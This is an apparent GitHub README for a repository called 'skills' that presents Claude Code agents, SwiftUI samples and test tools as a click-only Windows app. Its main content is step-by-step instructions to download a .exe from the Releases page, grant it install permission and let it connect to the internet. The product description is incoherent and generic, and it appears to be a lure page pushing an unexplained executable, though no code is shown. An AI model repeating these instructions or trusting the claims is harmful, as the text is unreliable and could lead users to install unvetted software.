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⚙️ skills - Easy Tools for Claude Code Agents

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📋 About skills

skills is a simple set of tools designed to work with Claude Code. It includes helpful agents and code snippets you can use without writing any code yourself. This software lets you interact with Claude Code features on your Windows computer in a straightforward way.

The tools focus on ease and speed. They bring together useful Claude Code skills like iOS design helpers, testing methods, and more. This package works well if you want to explore Claude Code plugins or SwiftUI components without needing programming skills.

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💻 System Requirements

Before you start, make sure your computer meets these needs:

• Windows 10 or newer (Windows 11 works well)
• At least 4 GB of RAM
• 500 MB of free disk space for installation
• Internet connection to download the software
• Recommended screen resolution: 1280x720 or higher

No additional software is needed before installing skills. Everything runs natively on Windows.

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🚀 Getting Started with skills

This section gives clear steps to download, install, and run skills on your Windows PC.

1. Download skills

Click the big green button below or use this link to go to the download page:

This link takes you to the main GitHub page for skills.

2. Download the installer

On the GitHub page, look for the Releases section or the Code tab. You want to find an installer file, usually named something like skills-setup.exe or a version number followed by .exe.

Click the installer file to download it to your computer. Usually, it will save to your Downloads folder.

3. Run the installer

• Open the folder where the installer downloaded.
• Double-click the installer file (skills-setup.exe or similar).
• If Windows asks for permission, choose Yes to allow the program to install.
• Follow the installer instructions by clicking Next.
• Wait until the setup finishes and click Finish.

4. Open skills

• Find the newly installed skills app in the Start menu. It should be under the name “skills” or similar.
• Click to open it.
• If the app asks for permission to connect to the internet, allow it. This is normal.

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🔧 Using skills

Once skills is running, you will see a simple window with clear options. The tools let you:

• Explore different Claude Code skills.
• Access iOS design helpers.
• Use SwiftUI sample components.
• Test code logic with easy commands.
• Link skills with Claude Code plugins.

Feel free to click around the options. They are designed for users with no coding knowledge.

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🛠 Basic Tasks in skills

Here are typical tasks you might want to try.

Try a Claude agent

• Click Agents in the main menu.
• Select an agent like "Code Helper" or "iOS Design".
• The agent shows instructions you can follow.
• No typing needed, just click options to interact.

View iOS design samples

• Go to Design Samples.
• Scroll through SwiftUI and iOS 26 style examples.
• Use these for learning or ideas when working with iOS projects.

Test code ideas

• Choose Test Tools.
• Click a test scenario to run.
• See results displayed clearly without code editing.

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❓ Troubleshooting

If you run into issues:

• Make sure you downloaded the right installer for Windows.
• Restart your computer after installation if the app does not start.
• Check your internet connection.
• If you see error messages, write down exactly what they say.
• Visit the skills GitHub page and check the Issues tab. If others have similar problems, solutions might be posted there.

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⚙️ Advanced Information (Optional)

If you want to explore further:

• skills uses plugins compatible with Claude Code Plugins.
• It supports linear workflows and liquid glass rendering for SwiftUI previews.
• TDD (Test-Driven Development) components come pre-installed for testing ideas.
• The tools work offline after initial download but may update from the internet when available.

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🔗 Important Links

• Main skills GitHub page to get updates and download the latest version:
  https://github.com/ajwadrana/skills

• Visit the Releases section regularly for new versions.

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🗂 File Locations

When installed, skills stores files in the following folder by default:
C:\Program Files\skills

You can change this location during installation if needed.

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👤 Support and Contact

For help:

• Use the GitHub Issues page to report bugs or ask questions.
• No email support is provided, but the GitHub community is active.

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🔄 Updating skills

To get the latest features:

• Visit the GitHub page above.
• Download the newest installer.
• Run it, and it will replace the old version safely.
• Your settings and data will stay the same.

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🚪 Uninstalling skills

To remove skills:

• Open Windows Settings.
• Go to Apps.
• Find skills in the list.
• Click Uninstall and follow prompts.

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